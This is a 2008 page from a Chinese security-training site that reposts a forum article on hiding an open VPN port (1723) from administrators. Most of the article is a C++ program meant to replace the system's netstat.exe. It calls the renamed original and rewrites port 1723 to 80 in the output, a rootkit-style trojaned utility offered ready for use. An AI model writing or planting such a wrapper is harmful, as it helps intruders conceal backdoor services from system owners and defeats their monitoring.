首页 实地培训 VIP专区 文章中心 下载中心 精品动画 安全服务 安全产品 企业文化
技术论坛
 -->开创网络首先基于以学员为中心的人性化教学方式。以案例式教学、互动式教学为主线。
 
  当前位置: 首页 > VIP专区 > VIP文章 > 安全防护 >
 
 
VPN的1723端口隐藏的实现
发布者ID:3 作者: 发布时间:2008-07-29 08:59:21 来源: 点击:
 
原创]VPN的1723端口隐藏的实现
文章作者:zshoucheng
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

本文针对论坛会员 独孤E人 所发表的 <<VPN的1723端口隐藏求救>>
原帖见于:http://forum.eviloctal.com/read-htm-tid-30212.html

基本思路见http://forum.eviloctal.com/read- ... ge-e-fpage-1.html#a
由于那里的源码是VC++2005 C++/CLI编译,运行时不仅要 .NET 还要带个msvcm80.dll,
不方便使用,于是用VC++6.0重写了下.因为这个代码可以扩展 定制,所以发到原创
代码如下:
/////////////////////////////////////////////////////////////
//处理netstat回显隐藏VPN端口
//Coder:zshoucheng [EST]
//Blog:http;//www.shellvip.com
////////////////////////////////////////////////////////////
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;

char buf[100]={0};

char* LogFile()
{  
  GetTempPath(64,buf);
  strcat(buf,"port.log");
  return buf;
}

int main(int argc,char* argv[])
{
  string cmd = "stat.exe"; //把系统原来的netstat.exe改名为stat.exe
  string oldPort = "1723"; //需要隐藏的端口
  string newPort = "80 "; //替换为新的端口
  if (argc != 1)
  {
    for (int i=1;i<argc;i++)
    {
      cmd += " ";
      cmd += argv[i];
    }
  }
  cmd += ">";
  cmd += LogFile();   
  system(cmd.c_str());
  ifstream in(LogFile());
  string tmp[256];
  for (int j=0;j<256 && in;j++)
  {
    getline(in,tmp[j],&#39;\n&#39;);
    int index = (tmp[j]).find(oldPort,4);
    if (index!=string::npos)
    {  
      tmp[j].replace(index,4,newPort);
    }
    cout<<tmp[j].c_str()<<endl;
  }
return 0;
}


 
 
 
 
   
 
   
     
  • 课堂实景
  • 课程体系
  • 培训课程
  • 学费介绍
  • 巧用mstsc命令登录到console的方法
  • 课程介绍
  • 团队介绍
  • Linkideo免费Vpn
  • 就业前景
  • 汇款方式
  •  
     
     
    无标题文档
    一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网
      关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 友情链接  
      版权所有:吉林省开创科技信息有限公司  
      服务热线:0431-84714442
    Copyright 2001 - 2007 All Rights Reserved